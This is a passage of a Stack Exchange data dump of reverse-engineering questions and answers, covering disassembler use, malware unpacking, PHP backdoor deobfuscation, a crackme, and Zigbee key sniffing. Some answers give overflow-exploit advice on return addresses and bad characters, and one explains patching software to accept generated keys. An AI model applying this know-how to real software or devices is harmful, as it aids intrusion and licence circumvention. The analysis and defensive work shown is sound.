&amp;amp;y);&#xA;    int  geq(const arbnum &amp;amp;x,const arbnum &amp;amp;y);  //      = |x|&amp;gt;=|y| ; 0 &amp;lt;, 1 &amp;gt;, 2==&#xA;    int int_log2(int x)&#xA;        {&#xA;        if (x&amp;lt;=0) return 0;&#xA;        int y=0,a=1;&#xA;        for (;a&amp;lt;=x;a&amp;lt;&amp;lt;=1,y++); y--;&#xA;        return y;&#xA;        }&#xA;    // friend arithmetics&#xA;    friend arbnum integer (const arbnum &amp;amp;x);                    // = integer(x)&#xA;    friend arbnum fraction(const arbnum &amp;amp;x);                    // = fraction(x)&#xA;    friend arbnum round   (const arbnum &amp;amp;x);                    // = round(x);&#xA;    friend arbnum floor   (const arbnum &amp;amp;x);                    // = floor(x)&#xA;    friend arbnum ceil    (const arbnum &amp;amp;x);                    // = ceil(x)&#xA;    friend arbnum abs     (const arbnum &amp;amp;x);                    // = |x|&#xA;    friend arbnum sqrt    (const arbnum &amp;amp;x);                    // = |x|^0.5&#xA;    friend arbnum exp2    (const arbnum &amp;amp;x);                    // = 2^x&#xA;    friend arbnum expe    (const arbnum &amp;amp;x);                    // = e^x&#xA;    friend arbnum exp10   (const arbnum &amp;amp;x);                    // = 10^x&#xA;    friend arbnum log2    (const arbnum &amp;amp;x);                    // = log2(x)&#xA;    friend arbnum loge    (const arbnum &amp;amp;x);                    // = ln(x)&#xA;    friend arbnum log10   (const arbnum &amp;amp;x);                    // = log10(x)&#xA;    friend arbnum powi    (const arbnum &amp;amp;x,const arbnum &amp;amp;y);    // = x^int(y)&#xA;    friend arbnum powi    (const arbnum &amp;amp;x,int y);              // = x^int(y)&#xA;    friend arbnum pow     (const arbnum &amp;amp;x,const arbnum &amp;amp;y);    // = x^y&#xA;    friend arbnum sin     (const arbnum &amp;amp;x);                    // = sin(x)&#xA;    friend arbnum cos     (const arbnum &amp;amp;x);                    // = cos(x)&#xA;    friend arbnum tan     (const arbnum &amp;amp;x);                    // = tan(x)&#xA;    friend arbnum cotan   (const arbnum &amp;amp;x);                    // = cotan(x)&#xA;    friend arbnum asin    (const arbnum &amp;amp;x);                    // = asin(x)&#xA;    friend arbnum acos    (const arbnum &amp;amp;x);                    // = acos(x)&#xA;    friend arbnum atan    (const arbnum &amp;amp;x);                    // = atan(x)&#xA;    friend arbnum acotan  (const arbnum &amp;amp;x);                    // = acotan(x)&#xA;    friend arbnum gcd     (arbnum x,arbnum y);                  // = gcd (int(|x|),int(|y|))  binary greatest common divisor&#xA;    friend arbnum fact    (const DWORD &amp;amp;x);                     // = x! = (x/2)!^2 * mul[ p(i)^e(i) ]&#xA;    friend arbnum fact_aprox(const DWORD &amp;amp;x);                   // ~ x!&#xA;    };&#xA;//---------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[notes]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without more info about your target platform or military format it is impossible to decide which approach is better in respect to speed,accuracy. We need info like mantissa bits/format exponent bits/format, do you have &lt;strong&gt;FPU&lt;/strong&gt; at disposal (and for which format), what float types you have natively at disposal etc.&lt;/p&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="4709" LastEditDate="2016-08-07T11:02:26.780" LastActivityDate="2016-08-07T11:02:26.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9138" PostTypeId="2" ParentId="9129" CreationDate="2015-06-15T08:01:10.027" Score="0" Body="&lt;p&gt;If the architecture is 32-bit, every address must be 4 bytes so the function address you mentioned is not exception. but as high order 00 is not valuable (in math) it is not normally mentioned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;0x0041a82f --&gt; 0x41a82f&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You must overwrite your address in 4 bytes with former 00. but in many cases (especially string base overflow) it is a problem called &quot;bad char&quot;, cause payload corruption. you have to fix this problem too.&#xA;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="12323" LastActivityDate="2015-06-15T08:01:10.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9139" PostTypeId="2" ParentId="9134" CreationDate="2015-06-15T12:18:40.950" Score="4" Body="&lt;p&gt;This list of hexadecimal numbers represent the addresses of each instruction followed by the software you are looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pin is a tool that will allow you to collect traces of a software by &lt;strong&gt;dynamically&lt;/strong&gt; instrumenting the code of it. What you collected here is the lowest level of information that you can get out of Pin, but you can ask for more by using the proper Pintool (or writing one by yourself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look in the directory &lt;code&gt;source/tools&lt;/code&gt;, you will find various plugins that you can use with Pin and extract usefull information. For example, you may want to know: the address of each instruction (you already have that), the decoded instruction that is executed and the opcode of the instruction. All this can be asked to Pin and collected as a trace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the directory &lt;code&gt;source/tools/SimpleExamples&lt;/code&gt;, you will find simple examples to start with and to understand how to use Pin. Try to look also to a few tutorial that you may find on Internet.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-06-15T12:18:40.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9140" PostTypeId="1" AcceptedAnswerId="10864" CreationDate="2015-06-15T12:40:11.150" Score="2" ViewCount="2585" Body="&lt;p&gt;I'm analysing some malware executable with ImmDBG and IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The executable calls the &lt;em&gt;kernel32.VirtualAlloc()&lt;/em&gt; at runtime with an argument &lt;em&gt;lpAddress=NULL&lt;/em&gt; what means that an operating system decides itself where the memory has to be allocated. The &lt;em&gt;VirtualAlloc()&lt;/em&gt; returns an address 0x003F0000. After that the executable writes some function to this memory, which is quite big, and I would like to analyse this function in IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, that my executable is loaded to the 0x004010000 in IDA Pro&#xA;and I don't know how could I extend the memory of the executable in IDA Pro in order to create this function manually(with help of PatchBytes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also maybe it's possible somehow to build a function from a sequence of opcodes in IDA Pro?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="12670" LastEditorUserId="12670" LastEditDate="2015-06-15T13:09:02.413" LastActivityDate="2015-09-14T11:13:40.080" Title="How can I extend a memory of an analysed executable in IDA Pro?" Tags="|ida|disassembly|malware|anti-debugging|immunity-debugger|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9141" PostTypeId="2" ParentId="9140" CreationDate="2015-06-15T13:11:19.347" Score="3" Body="&lt;p&gt;The most reliable solution I've found is to add a new section to the PE file and force the process to write the unpacked code into that new section in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote up a blog post a few years ago with a full walk-through of this approach: &lt;a href=&quot;http://blog.crowdstrike.com/unpacking-dynamically-allocated-code/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blog.crowdstrike.com/unpacking-dynamically-allocated-code/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dXjbZ.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-15T13:11:19.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9142" PostTypeId="1" CreationDate="2015-06-15T13:11:56.160" Score="0" ViewCount="564" Body="&lt;p&gt;I have an app (reverseme) that looks like calc.exe.&#xA;It has 9 number btns, clear and enter buttons.&#xA;The enter is disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another input textbox without any enter or submit button. It takes inlut from the keyboard but when i press enter it doesnt throw any badboy or goodboy messages just a sound of a bad press.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to enable the enter button and find the serial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The app compiled with borland and writteb in c++.&#xA;It uses kernel32, user32, comctc32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have disabled the entered button by enabling it in reseditor and noping the disabling routine in the code but im shure there is another way.&lt;/p&gt;&#xA;" OwnerUserId="12787" LastActivityDate="2015-06-15T13:11:56.160" Title="How to find a verification routine that enables a button and a textbox" Tags="|crackme|" AnswerCount="0" CommentCount="6" ClosedDate="2015-06-21T21:03:48.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="9143" PostTypeId="1" AcceptedAnswerId="9146" CreationDate="2015-06-15T17:08:15.660" Score="7" ViewCount="2167" Body="&lt;p&gt;I found this backdoor on a client's website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/wVs8w44v&quot;&gt;http://pastebin.com/wVs8w44v&lt;/a&gt; (original format)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/acfx49QJ&quot;&gt;http://pastebin.com/acfx49QJ&lt;/a&gt; (semi - readable)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have gotten rid of it and realise it's an obfuscated script but how can I deobfuscate it in order to get to the root of this matter and understand the motive behind this attack better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12788" LastEditorUserId="12788" LastEditDate="2015-06-16T01:49:47.573" LastActivityDate="2021-06-07T19:21:16.223" Title="How can I decode this php code?" Tags="|decryption|deobfuscation|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9145" PostTypeId="1" AcceptedAnswerId="9147" CreationDate="2015-06-15T17:21:41.620" Score="2" ViewCount="15935" Body="&lt;p&gt;I have exe file that I want to edit function in it.&lt;br&gt;&#xA;I know what is the function name, but how can I found the address by it name?&lt;/p&gt;&#xA;" OwnerUserId="12789" LastActivityDate="2015-06-16T11:25:57.627" Title="OllyDbg find function by name" Tags="|windows|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9146" PostTypeId="2" ParentId="9143" CreationDate="2015-06-15T18:08:23.013" Score="17" Body="&lt;p&gt;I wrote a small Python script to deobfuscate the majority of the string obfuscation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import urllib&#xA;import re&#xA;&#xA;php = urllib.urlopen(&quot;http://pastebin.com/raw.php?i=wVs8w44v&quot;).read()&#xA;&#xA;# Slight modification below so that we don't escape $&#xA;z26 = &quot;jmiO@sxhFnD&amp;gt;J\r/u+RcHz3}g\nd{^8 ?eVwl_T\\\t|N5q)LobU]40!p%,rC-97k&amp;lt;'y=W:P$1BI&amp;amp;S6\&quot;E(K`Y~.Q;f[v2a#X*ZAGtM&quot;&#xA;&#xA;# Decode all $z26[...] strings&#xA;for i in range(len(z26)):&#xA;    php = php.replace(&quot;$z26[&quot; + str(i) + &quot;]&quot;, &quot;\&quot;&quot; + z26[i] + &quot;\&quot;&quot;)&#xA;&#xA;# Concatenate decoded strings&#xA;php = php.replace(&quot;\&quot;.\&quot;&quot;, &quot;&quot;)&#xA;&#xA;# Replace all $GLOBALS[...]&#xA;globals = {}&#xA;for m in re.finditer(&quot;\$GLOBALS\['(?P&amp;lt;key&amp;gt;\w+?)'\] = \&quot;(?P&amp;lt;value&amp;gt;.*?)\&quot;;&quot;, php):&#xA;    globals[m.group(&quot;key&quot;)] = m.group(&quot;value&quot;)&#xA;php = re.sub(&quot; \$GLOBALS\['(?P&amp;lt;key&amp;gt;\w+?)'\] = \&quot;(?P&amp;lt;value&amp;gt;.*?)\&quot;;&quot;, &quot;&quot;, php)&#xA;for key in globals.keys():&#xA;    php = php.replace(&quot;$GLOBALS['&quot; + key + &quot;']&quot;, globals[key])&#xA;&#xA;print php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then formatted the output with &lt;a href=&quot;http://phpbeautifier.com/&quot;&gt;http://phpbeautifier.com/&lt;/a&gt; and stored the results at &lt;a href=&quot;http://pastebin.com/p7Tmvq4e&quot;&gt;http://pastebin.com/p7Tmvq4e&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only major thing left to do is to rename the functions and arguments, but that can't be easily automated. I think the content at &lt;a href=&quot;http://pastebin.com/p7Tmvq4e&quot;&gt;http://pastebin.com/p7Tmvq4e&lt;/a&gt; should meet your needs, though!&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-15T18:08:23.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9147" PostTypeId="2" ParentId="9145" CreationDate="2015-06-15T22:35:38.907" Score="1" Body="&lt;p&gt;If the file has debugging symbols (i.e. you have a corresponding .pdb file), just load the file into your favourite debugger (Windbg, Olly, Ida Pro) and you're done, since the debugger will match function names and addresses from the symbol table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have debugging symbols (and your function isn't a special case, like an exported function in a DLL), knowing the function name generally won't help you anything, since this information is lost in the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you know a bit more about the function, this knowledge might help you. For example, if you have a function that implements the &lt;a href=&quot;https://en.wikipedia.org/wiki/Tiny_Encryption_Algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;TEA algorithm&lt;/a&gt;, scanning the disassembled file for &lt;code&gt;9e3779b9&lt;/code&gt; could help you. (There's a tool named signsrch that does this for many well-known encryption and checksum variants). Or, if you know the function uses a certain string, search for this string, then check where it's cross referenced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might be even lucky enough that the programmer used an &lt;code&gt;assert&lt;/code&gt; (or similar) macro. Depending on the Compiler, this often translates to a &lt;code&gt;printf&lt;/code&gt; which includes &lt;code&gt;__FUNC__&lt;/code&gt; which in turn is replaced with the function name, so an assert macro will most likely put the function name as a string, along with a cross reference from your function, into your binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have a string that you know belongs to your function, use &lt;code&gt;CTRL-R&lt;/code&gt; on it to find where it's referenced in code (&lt;a href=&quot;https://stackoverflow.com/questions/24554127/ollydbg-2-01-finding-a-command-referencing-a-static-string&quot;&gt;longer explanation on stackoverflow&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-06-15T22:54:41.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9148" PostTypeId="2" ParentId="9145" CreationDate="2015-06-16T07:03:55.870" Score="3" Body="&lt;p&gt;If Olly knows the function name, you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; and start typing the name of the function, it should be listed there. Select you function, and click &lt;code&gt;Follow expression&lt;/code&gt;, it should take you there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EMZKS.png&quot; alt=&quot;Go to function in Ollydbg&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2354" LastEditorUserId="53" LastEditDate="2015-06-16T11:25:57.627" LastActivityDate="2015-06-16T11:25:57.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9150" PostTypeId="1" CreationDate="2015-06-16T11:43:48.593" Score="1" ViewCount="46" Body="&lt;p&gt;I have produce a C File from IDA Pro and wanted to know what does the commented register@number notation mean? E.g. ebx@1 right to the int v1; declaration?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;int __stdcall sub_421E20(int a1)&#xA;{&#xA;  int v1; // ebx@1&#xA;  int v2; // esi@1&#xA;  int v3; // ecx@3&#xA;  int v4; // eax@5&#xA;  int result; // eax@10&#xA;  int v6; // edx@11&#xA;  int v7; // [sp+10h] [bp-48h]@5&#xA;  int v8; // [sp+28h] [bp-30h]@1&#xA;  int *v9; // [sp+2Ch] [bp-2Ch]@5&#xA;  char v10; // [sp+30h] [bp-28h]@8&#xA;  ....&#xA;&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="12793" LastActivityDate="2015-06-16T11:43:48.593" Title="C Generated File by IDA Pro" Tags="|ida|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2015-06-16T15:14:21.073" ContentLicense="CC BY-SA 3.0" />
  <row Id="9151" PostTypeId="1" CreationDate="2015-06-16T15:09:47.120" Score="1" ViewCount="5964" Body="&lt;p&gt;To evaluate different Java obfuscators, I want also consider if the obfuscators use preventive techniques against common tools used for automated deobfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I plan to obfuscate a test program with different obfuscators and check, if deobfuscators have an impact on the obfuscated programs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm searching for common tools for automated deobfuscation to use them in my evaluation. Can you suggest some tools? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="11555" LastEditorUserId="11555" LastEditDate="2015-06-16T15:28:53.643" LastActivityDate="2015-08-16T08:56:39.723" Title="Tools for automated deobfuscation" Tags="|tools|obfuscation|deobfuscation|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9153" PostTypeId="1" AcceptedAnswerId="9155" CreationDate="2015-06-16T16:34:01.337" Score="1" ViewCount="899" Body="&lt;p&gt;I'm trying to reverse-engineer a file format, and I got a buddy of mine (who works in the security field) to decompile the program via Hex-Rays and give me the resulting .C file. I've spent the past several days analyzing this file. However there is still a lot that I am trying to figure out, in particular two parts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// v42 is a FILE handler, Dst is a 0x40 byte buffer&#xA;if ( !ReadBuffer(&amp;amp;v42, &amp;amp;Dst, 0x40u, 0) ||&#xA; !(unsigned __int8)(*(int (__stdcall **)(char *))(*(_DWORD *)v29 + 20))(&amp;amp;Dst) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand the first part, it reads 0x40 bytes into the buffer which is the file header. The second line is very confusing. I know C++ well, but I haven't had to deal with how much is going on with this. My guess is that this is fancy magic for saying &quot;If the byte at 0x20 is not 1&quot;, but that doesn't make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a password associated with this file. The password itself appears to be a SHA256 hash, but I'm not sure exactly how it's used. Digging into this .C file, I see the function related to the password. It has many lines that look near identical:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    v3 = a3;&#xA;      v4 = __ROL4__(&#xA;         (unsigned __int8)byte_441348[(*(_DWORD *)a1 + *(_DWORD *)a3) &amp;amp;         0xFF] | (((unsigned __int8)byte_441248[((unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) &amp;gt;&amp;gt; 8) &amp;amp; 0xFF] | ((((unsigned __int8)byte_441048[(unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) &amp;gt;&amp;gt; 24] &amp;lt;&amp;lt; 8) | (unsigned __int8)byte_441148[((unsigned int)(*(_DWORD *)a1 + *(_DWORD *)a3) &amp;gt;&amp;gt; 16) &amp;amp; 0xFF]) &amp;lt;&amp;lt; 8)) &amp;lt;&amp;lt; 8),&#xA;     11);&#xA;      v5 = *(_DWORD *)(a1 + 4) ^ v4;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I could figure out what algorithm is being used here without manually converting the code to something usable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of all of this, I know that the file is compressed with zlib (both 1.2.5 and 1.2.1 are being used by two related programs). I believe that there is some transformation from this password on the file before the stream is being inflated by zlib.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="12749" LastActivityDate="2015-06-16T16:45:23.320" Title="Help with analysis from IDA Pro Hex-Rays dump" Tags="|ida|decompilation|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9154" PostTypeId="2" ParentId="9132" CreationDate="2015-06-16T16:39:55.980" Score="0" Body="&lt;p&gt;Sometimes, it's better to do so because the target has a powerful protection against trivial patches; therefore, the cracker would make some changes to make the target accepts a generated key (that might not be fully correct) so the target protection would simply collapse because it's (kind of) registered.&lt;/p&gt;&#xA;" OwnerUserId="11757" LastActivityDate="2015-06-16T16:39:55.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9155" PostTypeId="2" ParentId="9153" CreationDate="2015-06-16T16:45:23.320" Score="4" Body="&lt;p&gt;For your first question, &lt;code&gt;(*(int (__stdcall **)(char *))(*(_DWORD *)v29 + 20))&lt;/code&gt; is a function call (&lt;code&gt;v29&lt;/code&gt; is an object (perhaps a vtable) that contains a function pointer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please create separate posts for each of your other questions (one question per post).&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-16T16:45:23.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9156" PostTypeId="2" ParentId="1943" CreationDate="2015-06-16T16:54:05.917" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://pypi.python.org/pypi/Opy/&quot; rel=&quot;nofollow&quot;&gt;This free tool&lt;/a&gt; will obfuscate multi module Python source code while retaining identifiers imported from 3rd party libraries. Also other identifiers can be exempted from obfuscation. I made it for my own use on a multi-year project, but decided others might benefit from it as well.&lt;/p&gt;&#xA;" OwnerUserId="12795" LastEditorUserId="-1" LastEditDate="2015-08-04T14:07:53.783" LastActivityDate="2015-08-04T14:07:53.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9157" PostTypeId="1" AcceptedAnswerId="9159" CreationDate="2015-06-16T22:55:00.667" Score="1" ViewCount="184" Body="&lt;p&gt;I used IDA Pro and got the following expression from a produced C file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v25 = (*(int (**)(void))(v22 + 464))();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am trying to figure out the meaning of the above expression with the following links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.unixwiz.net/techtips/reading-cdecl.html&quot; rel=&quot;nofollow&quot;&gt;http://www.unixwiz.net/techtips/reading-cdecl.html&lt;/a&gt;&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.codeproject.com/Articles/7042/How-to-interpret-complex-C-C-declarations&quot; rel=&quot;nofollow&quot;&gt;http://www.codeproject.com/Articles/7042/How-to-interpret-complex-C-C-declarations&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I start with &lt;code&gt;(v22 + 464)&lt;/code&gt; and then go out of the parenthesis and to the left to the following &lt;code&gt;*(int (**)(void))&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, still can't understand. Any hints?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I guess this expression is not a declaration but a function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(v22+464) is then cast to a pointer to a pointer to a function that takes void as an argument and returns an int. Then that pointer is dereference and the () operator is applied - the function is called.&lt;/p&gt;&#xA;" OwnerUserId="12793" LastEditorUserId="12793" LastEditDate="2015-06-17T12:20:48.553" LastActivityDate="2015-06-17T12:20:48.553" Title="Declaration of a complex C expression" Tags="|ida|c|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9158" PostTypeId="2" ParentId="8940" CreationDate="2015-06-16T23:14:44.357" Score="4" Body="&lt;p&gt;A good way to find compressed or encrypted parts in a binary is entropy investigation, as compressed and encrypted parts show a high degree of disorder (a value of 1 means maximum disorder). I can recommend the tool &lt;a href=&quot;http://binwalk.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;binwalk&lt;/a&gt; which produces a graphical output of the memory's entropy. The picture shows a binwalk output, as an example of such a static analysis of an embedded device, showing typical entropies of different memory parts.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3C1bU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom part is an overlay of the corresponding Ida memory map.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-06-16T23:14:44.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9159" PostTypeId="2" ParentId="9157" CreationDate="2015-06-17T01:32:28.560" Score="3" Body="&lt;p&gt;&lt;code&gt;(*(int (**)(void))(v22 + 464))()&lt;/code&gt; is a function call (&lt;code&gt;v22&lt;/code&gt; is an object (perhaps a vtable) that contains a function pointer).&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-17T01:32:28.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9160" PostTypeId="2" ParentId="9151" CreationDate="2015-06-17T07:53:51.157" Score="1" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://www.jakstab.org/&quot; rel=&quot;nofollow&quot;&gt;Jakstab&lt;/a&gt;. It defeats the most basic obfuscation techniques and should provide a decent start in the way of automated deobfuscation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take its results with a grain of salt though as it is not finished and may have issues with certain binaries.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2015-06-17T07:53:51.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9161" PostTypeId="1" CreationDate="2015-06-17T09:40:39.083" Score="4" ViewCount="5710" Body="&lt;p&gt;I am working with a Zigbee system and I have been trying to grab the network key as it is exchanged during pairing. I wasn't having much luck with the combination of TI Packet Sniffer, Wireshark and Killerbee - it kept on failing. This combination has worked for me in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed a trial version of Perytons-M4 and captured a pairing using my CC2531 USB stick. To my surprise, this recovered the key automatically and started decrypting the rest of the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in the APS_CMD_KEY_TRANSPORT message sent to exchange the key, Perytons is showing that the APS layer data is in fact encrypted already, using a key that I have not seen before (4BAB0F173E1434A2D572E1C1EF478782)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key for many Zigbee devices is &quot;ZigBeeAlliance09&quot;, which is the case here for some communications, but this is not the key being used for key exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the capture is complete, the Perytons &quot;Keys Management&quot; window shows the &quot;ZigBeeAlliance09&quot; key along with the one sent in the APS_CMD_KEY_TRANSPORT, but &lt;strong&gt;not&lt;/strong&gt; the one used to decrypt the APS data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device is a Yale PIR camera (manufacturer's product &lt;a href=&quot;http://www.yale.co.uk/en/yale/couk/productsdb/alarms/-easy-fit-alarm--accessories/pir-image-camera-smartphone-alarm-only/&quot; rel=&quot;nofollow noreferrer&quot;&gt;page&lt;/a&gt;). I have been unable to identify the physical Zigbee modules used, but they look like &lt;img src=&quot;https://i.stack.imgur.com/mF1Ul.jpg&quot; alt=&quot;this from the PIR&quot;&gt; and &lt;img src=&quot;https://i.stack.imgur.com/mWdIm.jpg&quot; alt=&quot;this from the panel&quot;&gt;. Unfortunately I can't work out a way of getting Data out of Perytons in a way that is easy to read by others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3LhEj.png&quot; alt=&quot;Showing the encryption and key on the APS data&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DZMTo.png&quot; alt=&quot;Showing the keys recovered during the capture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a google, had a look in the Zigbee specs and had a look in the Perytons documentation, but can't find anything. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1388" LastEditorUserId="1388" LastEditDate="2015-06-17T22:25:07.650" LastActivityDate="2020-07-17T03:13:19.600" Title="What key is being using to encrypt the key transport in this Zigbee capture?" Tags="|encryption|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9162" PostTypeId="2" ParentId="9161" CreationDate="2015-06-17T11:14:12.553" Score="5" Body="&lt;p&gt;What is the profile being used? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home Automation (which is the one used by most devices) uses 'ZigBeeAlliance09' trust center link key to encrypt a random network key in the APS_CMD_KEY_TRANSPORT message. Joining devices decrypt the random network key in the APS_CMD_KEY_TRANSPORT message and then use the network key to encrypt/decrypt further network layer payloads. Most commercial sniffers will see the APS_CMD_KEY_TRANSPORT message and decrypt the network key. There is typically no further encryption at the APS layer for Home Automation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Light Link Profile (Such as Philips Hue) uses the same security mechanism as HA but does not use the publicly available 'ZigBeeAlliance09' trust center link key, but a secret key only given to manufactures that have devices which have passed the Light Link Profile certification process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smart Energy profile uses the same network layer security mechanism as HA, but has further APS layer security which uses a key transferred with certicom certificates which are very secure (as it is typically utility companies using this for metering and do not want the meter reading tampered with).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;TC.&lt;/p&gt;&#xA;" OwnerUserId="12803" LastActivityDate="2015-06-17T11:14:12.553" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
